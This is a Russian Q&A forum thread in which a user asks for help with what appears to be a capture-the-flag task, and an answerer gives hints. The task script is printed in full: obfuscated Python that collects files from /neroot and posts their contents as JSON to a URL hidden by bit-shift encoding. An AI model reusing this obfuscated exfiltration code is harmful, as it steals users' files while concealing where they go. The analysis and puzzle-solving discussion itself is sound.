@MarshallPrice

Как можно решить эту задачу?

Добрый день. Решаю одну задачу, которую мне дали, но проблема, что в python не силен.

У нас есть файл .py с кодом. Суть задачи, достать из этого кода какую-то информацию для перехода на следующую задачу. Это может быть ссылка, флаг, название чего-то или ещё что-то.

Возможно надо удалить какую-то часть кода и оставить другую, чтобы что-то заработало. Вот изначальный код:
import glob 
import requests
import sys

r = [
    "7368434179374469535a5265356836",
    "6f71626d4377774173794679653962584c71426479",
    "6e56635474655042464f4c4a744c53317674485247",
]
o = [
    "000d20331c431b0f3a36374b510755",
    "1c04120831280424100b230d3a5f0b34295f361c0d",
    "3d1d4e1731370439227b7b7e2b3e6005124526353a",
]
j = {}
x = [
    _
    for _ in glob.glob("/neroot/**/*", recursive=True)
    if _.split("/")[-1]
    in [
        "".join(
            [
                chr(ord(a) ^ ord(b))
                for a, b in zip(
                    bytes.fromhex(o[i]).decode(), bytes.fromhex(r[i]).decode()
                )
            ]
        )
        for i in range(len(r))
    ]
]
sys.exit(0) if not x else None

for __ in x:
    ___ = open(__, "r")
    j[__] = ___.read()

(
    lambda _, __, ___, ____, _____, ______, _______, ________: getattr(
        __import__("requests"), "post"
    )(
        (lambda _, __, ___: _(_, __, ___))(
            lambda _, __, ___: bytes([___ % __]) + _(_, __, ___ // __)
            if ___
            else (lambda: _).__code__.co_lnotab,
            _ << ________,
            (
                ((_ << (((_ << ___) + _))) - ((___ << __) - _))
                << ((___ << _______) + (_______ << _))
            )
            - (((((___ << __) - _) << _____) - _______) << ((___ << _______) + ___))
            - (
                (((((_ << ___) + _)) << ______) + _______)
                << ((___ << _______) - (_____ << _))
            )
            - (
                ((((___ << __) + _) << ____) - _______)
                << ((((___ << __) - _) << _____) + (___ << __))
            )
            - (((_____ << ______) + _____) << ((((___ << __) - _) << _____) + _))
            - (((_____ << _____) - ___) << ((((___ << __) - _) << _____) - (_ << ___)))
            + (((___ << _______) + ___) << ((((_____ << __) + _) << ____) - ___))
            + ((((((_ << ___) + _)) << __) - _) << ((_____ << ______) + _____))
            - (
                ((((_____ << __) - _) << ____) + _)
                << ((((_____ << __) - _) << ____) + _______)
            )
            - (
                (((((_ << ___) + _)) << _____) - ___)
                << ((((_____ << __) - _) << ____) - (_ << __))
            )
            + (
                ((((___ << __) - _) << _____) + ((___ << __) - _))
                << (((((_ << ___) + _)) << _____))
            )
            + (
                ((((___ << __) + _) << ____) + _)
                << ((((_ << ____) + _) << ____) + (___ << _))
            )
            - (
                ((((___ << __) + _) << ____) - _______)
                << ((((_ << ____) + _) << ____) - (_ << __))
            )
            - (((_______ << _____) + _) << ((_ << ________) + (_ << _)))
            - (
                ((((_____ << __) + _) << ____) + _______)
                << ((((_ << ____) - _) << ____) + _______)
            )
            - (
                ((((___ << __) - _) << ____) + _______)
                << ((((_ << ____) - _) << ____) - (_ << _))
            )
            + (((((_____ << __) + _) << ____) + _) << ((_______ << _____) + (_ << _)))
            - (((((___ << __) + _) << ____) + ___) << ((_______ << _____) - (_ << ___)))
            + (
                ((((_____ << __) - _) << ____) - ___)
                << ((((___ << __) + _) << ____) - (_ << _))
            )
            + (((((_____ << __) - _) << ___) + _) << ((___ << ______) + _____))
            + (((_______ << _____) - ___) << ((___ << ______) - (___ << _)))
            - (((((___ << __) + _) << ____) - ___) << ((((___ << __) - _) << ____) + _))
            - (
                ((((_____ << __) - _) << ____) - _______)
                << ((_____ << _____) + _______)
            )
            - (((_______ << _____) + _____) << ((_____ << _____) - ___))
            + (((___ << _____) - ___) << (((((_ << ___) + _)) << ____) + (_ << _)))
            + (
                ((((_ << ____) - _) << ____) - _______)
                << ((((_ << ____) + _) << ___) - _)
            )
            - (((((_ << ____) - _) << ___) + ___) << ((_ << _______) - (_ << _)))
            - ((((((_ << ___) + _)) << __) - _) << ((((_ << ____) - _) << ___) - _))
            - (((_______ << ____) - ___) << ((_______ << ____) - ___))
            + (((((___ << __) - _) << ____) - ___) << ((___ << _____) + ___))
            + (((_______ << __) - _) << ((___ << _____) - ___))
            + (((_______ << __) - _) << ((((___ << __) - _) << ___) - ___))
            + (((___ << _____) - ___) << (((((_ << ___) + _)) << ___) + (_ << _)))
            + (((_______ << __) + _) << ((_ << ______) + (_ << _)))
            + (((___ << _____) + _) << ((_______ << ___)))
            + (((___ << ____) - _) << ((___ << ____)))
            + (((___ << ____) - _) << ((_____ << ___)))
            + (((_______ << __) + _) << ((_ << _____) + _))
            + (_______ << ((_______ << __)))
            + (((_______ << __) + _) << (((((_ << ___) + _)) << _)))
            + (((_______ << __) + _) << ((_____ << _)))
            + ((((___ << __) + _)) << ___),
        ),
        json=j,
    )
)(
    *(lambda _, __, ___: _(_, __, ___))(
        (
            lambda _, __, ___: [__(___[(lambda: _).__code__.co_nlocals])]
            + _(_, __, ___[(lambda _: _).__code__.co_nlocals :])
            if ___
            else []
        ),
        lambda _: _.__code__.co_argcount,
        (
            lambda _: _,
            lambda _, __: _,
            lambda _, __, ___: _,
            lambda _, __, ___, ____: _,
            lambda _, __, ___, ____, _____: _,
            lambda _, __, ___, ____, _____, ______: _,
            lambda _, __, ___, ____, _____, ______, _______: _,
            lambda _, __, ___, ____, _____, ______, _______, ________: _,
        ),
    )
)


Этот код ничего не дает мне, поэтому я решил попробовать удалить последнюю часть с lambda и выше цикл for тоже убрать. Как я понял, здесь есть шифрование в hex. Я решил тогда сделать такой код:

import glob
import requests
import sys
r = ['7368434179374469535a5265356836', '6f71626d4377774173794679653962584c71426479', '6e56635474655042464f4c4a744c53317674485247'];
o = ['000d20331c431b0f3a36374b510755', '1c04120831280424100b230d3a5f0b34295f361c0d', '3d1d4e1731370439227b7b7e2b3e6005124526353a'];
j = {};
x = [_ for _ in glob.glob('/neroot/**/*', recursive=True) if _.split('/')[-1] in [''.join([chr(ord(a) ^ ord(b)) for a,b in zip(bytes.fromhex(o[i]).decode(), bytes.fromhex(r[i]).decode())]) for i in range(len(r))]];
print(zip(bytes.fromhex(o[1]).decode(), bytes.fromhex(r[1]).decode()))
sys.exit(0) if not x else None;

Данный код уже выводит // "0x7fcafea87300" каждый раз набор символов меняется здесь.

Так вот задача, как это решить, может быть как-то можно расшифровать это или привести в нормальный вид, возможно иначе изменить код, чтобы получился результат совсем другой. Главное как-то из этого кода добыть информацию. Буду благодарен за помощь.
  • Вопрос задан
  • 179 просмотров
Пригласить эксперта
Ответы на вопрос 1
trapwalker
@trapwalker Куратор тега Python
Программист, энтузиаст
Этот ресурс не предназначен для того, чтобы решать задачи за вас.
Судя по вашему описанию задачи вам такое рановато. Тем более без глубокого понимания питона лезть в задачу смысла нет.
Скорее всего задача с какого-нибудь пентестерского челленджа.
Могу дать несколько подсказок, как подступиться, но, повторюсь, вам эти подсказки скорее всего не помогут.

В первой части кода где вычисляется x цикл собирает имена файлов в локальной файловой системе компьютера, на котором выполняется код. Видимо на той машине, на которую предназначалась атака в ФС есть каталог /neroot какими-то данными.

Код похож на обфускацию, которая бы не дала некоторой защите распознать опасные действия скрипта.
Какие данные можно выковырять из этого кода? Ну например понять по каким адресам делает запросы этот скрипт.
Вполне себе полезная инфа. Но вы просто запустив этот код на компе, на котороый не предназначена атака неувидите никаких запросов, потому что на вашем компе нет нужных файлов.

Чтобы распутать этот клубок надо разить код на части (этапы) и анализировать их отдельно подавая на вход правдоподобные данные.

Там альше видно код. который вычитывает содержимое файлов каталога /neroot и складывает это содержимое в словарь.
Весь вот этот запутанный код со здвигами призван зашифровать адрес сайта, куда отправляется json с данными из тех файлов.
Вот этот код расшифровки вы можете выковырять и запустить отдельно, чтобы расшифровать.
Но без знания языка у вас не получится.
Ответ написан
Комментировать
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы